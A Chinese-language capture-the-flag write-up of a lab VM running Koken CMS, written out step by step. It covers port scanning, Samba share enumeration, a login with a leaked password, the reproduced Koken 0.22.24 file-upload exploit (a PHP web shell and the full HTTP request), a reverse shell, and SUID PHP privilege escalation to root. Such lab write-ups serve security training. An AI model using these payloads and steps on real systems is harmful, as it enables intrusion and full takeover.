kali：192.168.111.111
靶机：192.168.111.132
信息收集
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.132
目标8000端口为koken cms
使用enum4linux枚举目标samba服务，发现共享文件夹
enum4linux -a 192.168.111.132
连接目标共享文件夹，发现两个文件
smbclient -N \\\\192.168.111.132\\sambashare
mailsent.txt文件内容
使用[email protected] | babygirl，登录koken后台
同时该版本的koken cms存在文件上传漏洞
searchsploit koken
# Exploit Title: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
# Date: 2020-07-15
# Exploit Author: v1n1v131r4
# Vendor Homepage: http://koken.me/
# Software Link: https://www.softaculous.com/apps/cms/Koken
# Version: 0.22.24
# Tested on: Linux
# PoC: https://github.com/V1n1v131r4/Bypass-File-Upload-on-Koken-CMS/blob/master/README.md
The Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.
Steps to exploit:
1. Create a malicious PHP file with this content:
<?php system($_GET['cmd']);?>
2. Save as "image.php.jpg"
3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.
4. On Burp, rename your file to "image.php"
POST /koken/api.php?/content HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target.com/koken/admin/
x-koken-auth: cookie
Content-Type: multipart/form-data; boundary=---------------------------2391361183188899229525551
Content-Length: 1043
Connection: close
Cookie: PHPSESSID= [Cookie value here]
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="name"
image.php
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="chunk"
0
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="chunks"
1
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="upload_session_start"
1594831856
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="visibility"
public
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="license"
all
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="max_download"
none
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="file"; filename="image.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']);?>
-----------------------------2391361183188899229525551--
5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server.
漏洞利用
利用burp抓包，修改上传文件的后缀，jpg改为php即可上传
访问``http://192.168.111.132:8000/storage/originals/cb/43/php-reverse-shell.php`获得反弹shell
提权
查找suid权限的文件
find / -perm -u=s 2> /dev/null
提权方法：https://gtfobins.github.io/gtfobins/php/#suid
提升为root
php -r "pcntl_exec('/bin/sh', ['-p']);"
flag
